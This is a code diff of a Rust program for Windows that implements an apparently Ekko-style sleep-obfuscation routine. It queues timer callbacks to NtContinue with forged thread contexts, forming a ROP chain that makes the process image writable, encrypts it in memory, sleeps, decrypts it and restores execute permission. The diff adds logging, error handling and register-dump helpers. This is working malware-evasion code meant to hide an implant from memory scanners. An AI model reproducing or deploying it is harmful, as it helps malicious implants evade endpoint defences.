1 - use std::{ 2 - ffi::c_void, 3 - mem::{zeroed}, 4 - ptr::{null_mut}, 5 - }; 6 1 use ntapi::winapi::um::errhandlingapi::GetLastError; 2 + use std::{ffi::c_void, mem::zeroed, ptr::null_mut}; 7 3 use windows_sys::Win32::{ 8 4 Foundation::{HANDLE, UNICODE_STRING}, 9 5 System::{ 10 6 Diagnostics::Debug::{CONTEXT, IMAGE_NT_HEADERS64}, 11 7 LibraryLoader::{GetModuleHandleA, GetProcAddress, LoadLibraryA}, 12 - Memory::{VirtualProtect, PAGE_EXECUTE_READ, PAGE_READWRITE}, 8 + Memory::{VirtualProtect, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS , PAGE_READWRITE}, 13 9 SystemServices::IMAGE_DOS_HEADER, 14 10 Threading::{ 15 11 CreateEventW, CreateTimerQueue, CreateTimerQueueTimer, DeleteTimerQueue, SetEvent, skipped 22 lines 38 34 // Creates or opens a named or unnamed event object. 39 35 // https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createeventw 40 36 let h_event = unsafe { CreateEventW(null_mut(), 0, 0, null_mut()) }; 37 + log::info!("[+] h_event: {:#x}", h_event); 41 38 42 39 // Creates a queue for timers. Timer-queue timers are lightweight objects that enable you to specify a callback function to be called at a specified time. 43 40 // https://learn.microsoft.com/en-us/windows/win32/api/threadpoollegacyapiset/nf-threadpoollegacyapiset-createtimerqueue 44 41 let h_timer_queue = unsafe { CreateTimerQueue() }; 42 + log::info!("[+] h_timer_queue: {:#x}", h_timer_queue); 45 43 46 44 let nt_continue = unsafe { 47 45 GetProcAddress( skipped 37 lines 85 83 log::info!("[+] Calling CreateTimerQueueTimer with ctx_thread"); 86 84 // Creates a timer-queue timer. This timer expires at the specified due time, then after every specified period. When the timer expires, the callback function is called. 87 85 // https://learn.microsoft.com/en-us/windows/win32/api/threadpoollegacyapiset/nf-threadpoollegacyapiset-createtimerqueuetimer 88 - let success = unsafe { 86 + let result = unsafe { 89 87 CreateTimerQueueTimer( 90 88 &mut h_new_timer, 91 89 h_timer_queue, skipped 5 lines 97 95 ) 98 96 }; 99 97 100 - if success != 0 { 101 - unsafe { 102 - log::info!("[+] Calling WaitForSingleObject for 0x32 ms"); 103 - // Waits until the specified object is in the signaled state or the time-out interval elapses. 104 - // https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject 105 - WaitForSingleObject(h_event, 0x32); 106 - } 98 + if result == 0 { 99 + panic!("[!] CreateTimerQueueTimer failed with error: {}", unsafe { 100 + GetLastError() 101 + }); 102 + } 107 103 108 - log::info!("[+] Copying ctx_thread to rop chains"); 109 - let mut rop_prot_rw = ctx_thread.clone(); 110 - let mut rop_mem_enc = ctx_thread.clone(); 111 - let mut rop_delay = ctx_thread.clone(); 112 - let mut rop_mem_dec = ctx_thread.clone(); 113 - let mut rop_prot_rx = ctx_thread.clone(); 114 - let mut rop_set_evt = ctx_thread.clone(); 104 + log::info!("[+] Calling WaitForSingleObject for 0x32 ms"); 105 + // Waits until the specified object is in the signaled state or the time-out interval elapses. 106 + // https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject 107 + unsafe { 108 + WaitForSingleObject(h_event, 0x32); 109 + } 115 110 116 - log::info!("[+] Building ROP chain"); 117 - // pub unsafe extern "system" fn VirtualProtect(lpaddress: *const c_void, dwsize: usize, flnewprotect: PAGE_PROTECTION_FLAGS, lpfloldprotect: *mut PAGE_PROTECTION_FLAGS) -> BOOL 118 - // https://docs.rs/windows-sys/latest/windows_sys/Win32/System/Memory/fn.VirtualProtect.html 119 - rop_prot_rw.Rsp = -8 as isize as u64; 120 - rop_prot_rw.Rip = VirtualProtect as u64; 121 - rop_prot_rw.Rcx = image_base as u64; 122 - rop_prot_rw.Rdx = image_size as u64; 123 - rop_prot_rw.R8 = PAGE_READWRITE as u64; 124 - rop_prot_rw.R9 = &mut old_protect as *mut u32 as u64; 111 + log::info!("[+] Copying ctx_thread to rop chains"); 112 + let mut rop_prot_rw = ctx_thread.clone(); 113 + let mut rop_mem_enc = ctx_thread.clone(); 114 + let mut rop_delay = ctx_thread.clone(); 115 + let mut rop_mem_dec = ctx_thread.clone(); 116 + let mut rop_prot_rx = ctx_thread.clone(); 117 + let mut rop_set_evt = ctx_thread.clone(); 125 118 126 - // pub unsafe extern "system" fn SystemFunction036(randombuffer: *mut c_void, randombufferlength: u32) -> BOOLEAN 127 - // https://docs.rs/windows-sys/latest/windows_sys/Win32/Security/Authentication/Identity/fn.SystemFunction036.html 128 - rop_mem_enc.Rsp = -8 as isize as u64; 129 - rop_mem_enc.Rip = sys_func032.unwrap() as u64; 130 - rop_mem_enc.Rcx = &mut img as *mut UNICODE_STRING as *mut c_void as u64; 131 - rop_mem_enc.Rdx = key.Length as u64; 119 + log::info!("[+] Building ROP chain"); 120 + // pub unsafe extern "system" fn VirtualProtect(lpaddress: *const c_void, dwsize: usize, flnewprotect: PAGE_PROTECTION_FLAGS, lpfloldprotect: *mut PAGE_PROTECTION_FLAGS) -> BOOL 121 + // https://docs.rs/windows-sys/latest/windows_sys/Win32/System/Memory/fn.VirtualProtect.html 122 + rop_prot_rw.Rsp = -8 as isize as u64; 123 + rop_prot_rw.Rip = VirtualProtect as u64; 124 + rop_prot_rw.Rcx = image_base as u64; 125 + rop_prot_rw.Rdx = image_size as u64; 126 + rop_prot_rw.R8 = PAGE_READWRITE as u64; 127 + rop_prot_rw.R9 = &mut old_protect as *mut PAGE_PROTECTION_FLAGS as u64; 128 + dump_virtual_protect_context(&rop_prot_rw); 132 129 133 - // pub unsafe extern "system" fn WaitForSingleObject(hhandle: HANDLE, dwmilliseconds: u32) -> WIN32_ERROR 134 - // https://docs.rs/windows-sys/latest/windows_sys/Win32/System /Threading /fn.WaitForSingleObject .html135 - rop_delay .Rsp = -8 as isize as u64; 136 - rop_delay.Rip = WaitForSingleObject as u64; 137 - rop_delay.Rcx = -1 as isize as u64; // NtCurrentProcess 138 - rop_delay.Rdx = sleep_time as u64; 130 + // pub unsafe extern "system" fn SystemFunction036(randombuffer: *mut c_void, randombufferlength: u32) -> BOOLEAN 131 + // https://docs.rs/windows-sys/latest/windows_sys/Win32/Security /Authentication / Identity /fn.SystemFunction036 .html 132 + rop_mem_enc .Rsp = -8 as isize as u64; 133 + rop_mem_enc.Rip = sys_func032.unwrap() as u64; 134 + rop_mem_enc.Rcx = &mut img as *mut UNICODE_STRING as *mut c_void as u64; 135 + rop_mem_enc.Rdx = key.Length as u64; 136 + dump_system_function036_context(&rop_mem_enc); 139 137 140 - // pub unsafe extern "system" fn SystemFunction036(randombuffer: *mut c_void, randombufferlength: u32) -> BOOLEAN 141 - // https://docs.rs/windows-sys/latest/windows_sys/Win32/Security / Authentication /Identity /fn.SystemFunction036 .html142 - rop_mem_dec .Rsp = -8 as isize as u64; 143 - rop_mem_dec.Rip = sys_func032.unwrap() as u64; 144 - rop_mem_dec.Rcx = &mut img as *mut UNICODE_STRING as *mut c_void as u64; 145 - rop_mem_dec.Rdx = key.Length as u64; 138 + // pub unsafe extern "system" fn WaitForSingleObject(hhandle: HANDLE, dwmilliseconds: u32) -> WIN32_ERROR 139 + // https://docs.rs/windows-sys/latest/windows_sys/Win32/System /Threading /fn.WaitForSingleObject .html 140 + rop_delay .Rsp = -8 as isize as u64; 141 + rop_delay.Rip = WaitForSingleObject as u64; 142 + rop_delay.Rcx = -1 as isize as u64; // NtCurrentProcess 143 + rop_delay.Rdx = sleep_time as u64; 144 + dump_wait_for_single_object_context(&rop_delay); 146 145 147 - // pub unsafe extern "system" fn VirtualProtect(lpaddress: *const c_void, dwsize: usize, flnewprotect: PAGE_PROTECTION_FLAGS, lpfloldprotect: *mut PAGE_PROTECTION_FLAGS) -> BOOL 148 - // https://docs.rs/windows-sys/latest/windows_sys/Win32/System /Memory /fn.VirtualProtect .html149 - rop_prot_rx .Rsp = -8 as isize as u64; 150 - rop_prot_rx.Rip = VirtualProtect as u64; 151 - rop_prot_rx.Rcx = image_base as u64; 152 - rop_prot_rx.Rdx = image_size as u64; 153 - rop_prot_rx.R8 = PAGE_EXECUTE_READ as u64; 154 - rop_prot_rw.R9 = &mut old_protect as *mut u32 as u64; 146 + // pub unsafe extern "system" fn SystemFunction036(randombuffer: *mut c_void, randombufferlength: u32) -> BOOLEAN 147 + // https://docs.rs/windows-sys/latest/windows_sys/Win32/Security /Authentication / Identity /fn.SystemFunction036 .html 148 + rop_mem_dec .Rsp = -8 as isize as u64; 149 + rop_mem_dec.Rip = sys_func032.unwrap() as u64; 150 + rop_mem_dec.Rcx = &mut img as *mut UNICODE_STRING as *mut c_void as u64; 151 + rop_mem_dec.Rdx = key.MaximumLength as u64; 152 + dump_system_function036_context(&rop_mem_dec); 155 153 156 - // https://docs.rs/windows-sys/latest/windows_sys/Win32/System/Threading/fn.SetEvent.html 157 - // pub unsafe extern "system" fn SetEvent(hevent: HANDLE) -> BOOL 158 - rop_set_evt .Rsp = -8 as isize as u64; 159 - rop_set_evt.Rip = SetEvent as u64; 160 - rop_set_evt.Rcx = h_event as u64; 154 + // pub unsafe extern "system" fn VirtualProtect(lpaddress: *const c_void, dwsize: usize, flnewprotect: PAGE_PROTECTION_FLAGS, lpfloldprotect: *mut PAGE_PROTECTION_FLAGS) -> BOOL 155 + // https://docs.rs/windows-sys/latest/windows_sys/Win32/System/Memory/fn.VirtualProtect.html 156 + rop_prot_rx .Rsp = -8 as isize as u64; 157 + rop_prot_rx.Rip = VirtualProtect as u64; 158 + rop_prot_rx.Rcx = image_base as u64; 159 + rop_prot_rx.Rdx = image_size as u64; 160 + rop_prot_rx.R8 = PAGE_EXECUTE_READ as u64; 161 + rop_prot_rx.R9 = &mut old_protect as *mut u32 as u64; 162 + dump_virtual_protect_context(&rop_prot_rx); 161 163 162 - log::info!("[+] Rop chain built"); 163 - log::info!("[+] Queue timers"); 164 - unsafe { 165 - let result = CreateTimerQueueTimer( 166 - &mut h_new_timer, 167 - h_timer_queue, 168 - std::mem::transmute(nt_continue), 169 - &rop_prot_rw as *const _ as *const _, 170 - 100, 171 - 0, 172 - WT_EXECUTEINTIMERTHREAD, 173 - ); 174 - if result == 0 { 175 - panic!("[!] Failed calling CreateTimerQueueTimer with rop_prot_rw (VirtualProtect RW) {:#x}", GetLastError()); 176 - } 164 + // https://docs.rs/windows-sys/latest/windows_sys/Win32/System/Threading/fn.SetEvent.html 165 + // pub unsafe extern "system" fn SetEvent(hevent: HANDLE) -> BOOL 166 + rop_set_evt.Rsp = -8 as isize as u64; 167 + rop_set_evt.Rip = SetEvent as u64; 168 + rop_set_evt.Rcx = h_event as u64; 169 + dump_set_event_context(&rop_set_evt); 177 170 178 - let result = CreateTimerQueueTimer( 179 - &mut h_new_timer, 180 - h_timer_queue, 181 - std::mem::transmute(nt_continue), 182 - &rop_mem_enc as *const _ as *const _, 183 - 100, 184 - 0, 185 - WT_EXECUTEINTIMERTHREAD, 186 - ); 187 - if result == 0 { 188 - panic!("[!] Failed calling CreateTimerQueueTimer with rop_mem_enc (SystemFunction036) {:#x}", GetLastError()); 189 - } 171 + log::info!("[+] Rop chain built"); 172 + log::info!("[+] Queue timers"); 190 173 191 - let result = CreateTimerQueueTimer( 192 - &mut h_new_timer, 193 - h_timer_queue, 194 - std::mem::transmute(nt_continue), 195 - &rop_delay as *const _ as *const _, 196 - 100, 197 - 0, 198 - WT_EXECUTEINTIMERTHREAD, 199 - ); 200 - if result == 0 { 201 - panic!("[!] Failed calling CreateTimerQueueTimer with rop_delay (WaitForSingleObject) {:#x}", GetLastError()); 202 - } 174 + let result = unsafe { 175 + CreateTimerQueueTimer( 176 + &mut h_new_timer, 177 + h_timer_queue, 178 + std::mem::transmute(nt_continue), 179 + &rop_prot_rw as *const _ as *const _, 180 + 100, 181 + 0, 182 + WT_EXECUTEINTIMERTHREAD, 183 + ) 184 + }; 185 + if result == 0 { 186 + panic!( 187 + "[!] Failed calling CreateTimerQueueTimer with rop_prot_rw (VirtualProtect RW) {:#x}", 188 + unsafe { GetLastError() } 189 + ); 190 + } 203 191 204 - let result = CreateTimerQueueTimer( 205 - &mut h_new_timer, 206 - h_timer_queue, 207 - std::mem::transmute(nt_continue), 208 - &rop_mem_dec as *const _ as *const _, 209 - 100, 210 - 0, 211 - WT_EXECUTEINTIMERTHREAD, 212 - ); 213 - if result == 0 { 214 - panic!("[!] Failed calling CreateTimerQueueTimer with rop_mem_dec (SystemFunction036) {:#x}", GetLastError()); 215 - } 192 + let result = unsafe { 193 + CreateTimerQueueTimer( 194 + &mut h_new_timer, 195 + h_timer_queue, 196 + std::mem::transmute(nt_continue), 197 + &rop_mem_enc as *const _ as *const _, 198 + 100, 199 + 0, 200 + WT_EXECUTEINTIMERTHREAD, 201 + ) 202 + }; 203 + if result == 0 { 204 + panic!( 205 + "[!] Failed calling CreateTimerQueueTimer with rop_mem_enc (SystemFunction036) {:#x}", 206 + unsafe { GetLastError() } 207 + ); 208 + } 216 209 217 - let result = CreateTimerQueueTimer( 218 - &mut h_new_timer, 219 - h_timer_queue, 220 - std::mem::transmute(nt_continue), 221 - &rop_prot_rx as *const _ as *const _, 222 - 100, 223 - 0, 224 - WT_EXECUTEINTIMERTHREAD, 225 - ); 226 - if result == 0 { 227 - panic!("[!] Failed calling CreateTimerQueueTimer with rop_prot_rx (VirtualProtect RX) {:#x}", GetLastError()); 228 - } 210 + let result = unsafe { 211 + CreateTimerQueueTimer( 212 + &mut h_new_timer, 213 + h_timer_queue, 214 + std::mem::transmute(nt_continue), 215 + &rop_delay as *const _ as *const _, 216 + 100, 217 + 0, 218 + WT_EXECUTEINTIMERTHREAD, 219 + ) 220 + }; 221 + if result == 0 { 222 + panic!( 223 + "[!] Failed calling CreateTimerQueueTimer with rop_delay (WaitForSingleObject) {:#x}", 224 + unsafe { GetLastError() } 225 + ); 226 + } 229 227 230 - let result = CreateTimerQueueTimer( 231 - &mut h_new_timer, 232 - h_timer_queue, 233 - std::mem::transmute(nt_continue), 234 - &rop_set_evt as *const _ as *const _, 235 - 100, 236 - 0, 237 - WT_EXECUTEINTIMERTHREAD, 238 - ); 239 - if result == 0 { 240 - panic!("[!] Failed calling CreateTimerQueueTimer with rop_set_evt (SetEvent) {:#x}", GetLastError()); 241 - } 228 + let result = unsafe { 229 + CreateTimerQueueTimer( 230 + &mut h_new_timer, 231 + h_timer_queue, 232 + std::mem::transmute(nt_continue), 233 + &rop_mem_dec as *const _ as *const _, 234 + 100, 235 + 0, 236 + WT_EXECUTEINTIMERTHREAD, 237 + ) 238 + }; 239 + if result == 0 { 240 + panic!( 241 + "[!] Failed calling CreateTimerQueueTimer with rop_mem_dec (SystemFunction036) {:#x}", 242 + unsafe { GetLastError() } 243 + ); 244 + } 242 245 243 - log::info!("[+] Waiting for event..."); 246 + let result = unsafe { 247 + CreateTimerQueueTimer( 248 + &mut h_new_timer, 249 + h_timer_queue, 250 + std::mem::transmute(nt_continue), 251 + &rop_prot_rx as *const _ as *const _, 252 + 100, 253 + 0, 254 + WT_EXECUTEINTIMERTHREAD, 255 + ) 256 + }; 257 + if result == 0 { 258 + panic!( 259 + "[!] Failed calling CreateTimerQueueTimer with rop_prot_rx (VirtualProtect RX) {:#x}", 260 + unsafe { GetLastError() } 261 + ); 262 + } 244 263 245 - WaitForSingleObject(h_event, INFINITE); //0xFFFFFFFF 264 + let result = unsafe { 265 + CreateTimerQueueTimer( 266 + &mut h_new_timer, 267 + h_timer_queue, 268 + std::mem::transmute(nt_continue), 269 + &rop_set_evt as *const _ as *const _, 270 + 100, 271 + 0, 272 + WT_EXECUTEINTIMERTHREAD, 273 + ) 274 + }; 246 275 247 - log::info!("[+] Finished waiting for event"); 248 - } 276 + if result == 0 { 277 + panic!( 278 + "[!] Failed calling CreateTimerQueueTimer with rop_set_evt (SetEvent) {:#x}", 279 + unsafe { GetLastError() } 280 + ); 249 281 } 250 282 283 + log::info!("[+] Waiting for event..."); 284 + 285 + unsafe { 286 + WaitForSingleObject(h_event, INFINITE); 287 + } //0xFFFFFFFF 288 + 289 + log::info!("[+] Finished waiting for event"); 290 + 251 291 // Deletes a timer queue. Any pending timers in the queue are canceled and deleted. 252 292 // https://learn.microsoft.com/en-us/windows/win32/api/threadpoollegacyapiset/nf-threadpoollegacyapiset-deletetimerqueue 253 293 unsafe { skipped 18 lines 272 312 }; 273 313 } 274 314 315 + fn dump_virtual_protect_context(rop: &CONTEXT) { 316 + log::info!("[+] RSP: {:#x} RIP: {:#x} -> VirtualProtect({:#x}, {:#x}, {:#x}, {:#x})" , rop.Rsp, rop.Rip, rop.Rcx, rop.Rdx, rop.R8, rop.R9); 317 + } 318 + 319 + fn dump_system_function036_context(rop: &CONTEXT) { 320 + log::info!("[+] RSP: {:#x} RIP: {:#x} -> SystemFunction036({:#x}, {:#x})" , rop.Rsp, rop.Rip, rop.Rcx, rop.Rdx); 321 + } 322 + 323 + fn dump_wait_for_single_object_context(rop: &CONTEXT) { 324 + log::info!("[+] RSP: {:#x} RIP: {:#x} -> WaitForSingleObject({:#x}, {:#x})" , rop.Rsp, rop.Rip, rop.Rcx, rop.Rdx); 325 + } 326 + 327 + fn dump_set_event_context(rop: &CONTEXT) { 328 + log::info!("[+] RSP: {:#x} RIP: {:#x} -> SetEvent({:#x})" , rop.Rsp, rop.Rip, rop.Rcx); 329 + }